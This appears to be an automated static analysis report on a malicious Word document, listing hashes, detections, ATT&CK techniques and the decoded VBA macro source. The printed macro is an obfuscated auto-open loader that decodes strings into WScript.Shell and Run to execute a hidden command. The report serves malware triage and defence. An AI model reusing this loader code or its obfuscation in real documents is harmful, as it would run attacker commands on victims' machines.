Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b2b9bc6526cafa92…

MALICIOUS

Office (OLE)

66.5 KB Created: 2018-06-30 13:15:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 104c49a6dd5b2372b79369493bbb3f64 SHA-1: 8f59106a5d92d260212417cfe1969d26121a9d0a SHA-256: b2b9bc6526cafa92180d938494ae99627cd8fb264a98673f77e3756e425b4277
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Office document containing obfuscated VBA macros, specifically triggering on Workbook_Open and Document_Open events. Heuristics indicate an auto-exec loader designed to execute code via CreateObject and CallByName. The ClamAV signature 'Xls.Malware.Valyria-6700361-0' further confirms its malicious nature. The VBA code appears to be heavily obfuscated, making it difficult to determine the exact payload, but the presence of auto-execution macros strongly suggests it's designed to download and run a secondary stage.

Heuristics 10

  • ClamAV: Xls.Malware.Valyria-6700361-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700361-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2850 bytes
SHA-256: a12e125b90f852343f76da1ce003693ba8a82b41f101c3465ce96d594b2bf0a6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function PGLNY() As String
Dim xxxPGLNY As String
aPGLNY = "9CC3A09E9EA8A89E789E66C79E9E76B2BB709E9EAE9EAE9E9E9E9EB4B6C89E939E9E6AB586D19EA0DA9E9E9EB69EB69E8E9E607C759E9ECD9EA97EADB59EBF9E7D9E9ED49E9E8B9EB39EA59ECAC59B9E8F849EC79E7C9E9E9E"
Dim cxbPGLNY = aPGLNY
DimDimMsgBox (adc(aPGLNY & myPGLNY, 333))
End Function

Private Function PXLGH() As String
Dim xxxPXLGH As String
aPXLGH = "9CC3A09E9EA8A89E789E66C79E9E76B2BB709E9EAE9EAE9E9E9E9EB4B6C89E939E9E6AB586D19EA0DA9E9E9EB69EB69E8E9E607C759E9ECD9EA97EADB59EBF9E7D9E9ED49E9E8B9EB39EA59ECAC59B9E8F849EC79E7C9E9E9E"
Dim cxbPXLGH = aPXLGH
DimDimMsgBox (adc(aPXLGH & myPXLGH, 333))
End Function

Sub Workbook_Open()
    HLYQ_
End Sub
Private Function UBQWB() As String
Dim xxxUBQWB As String
aUBQWB = "9CC3A09E9EA8A89E789E66C79E9E76B2BB709E9EAE9EAE9E9E9E9EB4B6C89E939E9E6AB586D19EA0DA9E9E9EB69EB69E8E9E607C759E9ECD9EA97EADB59EBF9E7D9E9ED49E9E8B9EB39EA59ECAC59B9E8F849EC79E7C9E9E9E"
Dim cxbUBQWB = aUBQWB
DimDimMsgBox (adc(aUBQWB & myUBQWB, 333))
End Function

Public Sub Document_Open()
    Application.Run T_("777B88808E")
End Sub
Private Function NROHL() As String
Dim xxxNROHL As String
aNROHL = "9CC3A09E9EA8A89E789E66C79E9E76B2BB709E9EAE9EAE9E9E9E9EB4B6C89E939E9E6AB586D19EA0DA9E9E9EB69EB69E8E9E607C759E9ECD9EA97EADB59EBF9E7D9E9ED49E9E8B9EB39EA59ECAC59B9E8F849EC79E7C9E9E9E"
Dim cxbNROHL = aNROHL
DimDimMsgBox (adc(aNROHL & myNROHL, 333))
End Function

Sub HLYQ_()
    CallByName CreateObject(T_("868292A1989FA35D8297949B9B")), T_("81A49D"), VbMethod, T_(ActiveDocument.Variables("DCIYKYX").Value), 0, True
End Sub
Private Function OINTC() As String
Dim xxxOINTC As String
aOINTC = "9CC3A09E9EA8A89E789E66C79E9E76B2BB709E9EAE9EAE9E9E9E9EB4B6C89E939E9E6AB586D19EA0DA9E9E9EB69EB69E8E9E607C759E9ECD9EA97EADB59EBF9E7D9E9ED49E9E8B9EB39EA59ECAC59B9E8F849EC79E7C9E9E9E"
Dim cxbOINTC = aOINTC
DimDimMsgBox (adc(aOINTC & myOINTC, 333))
End Function

Public Function T_(ByVal CA_ As String)
   Dim FJO_ As String
   Dim NEM_ As Long
   For NEM_ = 1 To Len(CA_) Step 2
        Dim Y_ As Long: Y_ = CLng(Chr(38) & Chr(72) & Mid(CA_, NEM_, 2))
        FJO_ = FJO_ & Chr(Y_ - 47)
   Next
   T_ = FJO_
End Function
Private Function XMHUC() As String
Dim xxxXMHUC As String
aXMHUC = "9CC3A09E9EA8A89E789E66C79E9E76B2BB709E9EAE9EAE9E9E9E9EB4B6C89E939E9E6AB586D19EA0DA9E9E9EB69EB69E8E9E607C759E9ECD9EA97EADB59EBF9E7D9E9ED49E9E8B9EB39EA59ECAC59B9E8F849EC79E7C9E9E9E"
Dim cxbXMHUC = aXMHUC
DimDimMsgBox (adc(aXMHUC & myXMHUC, 333))
End Function

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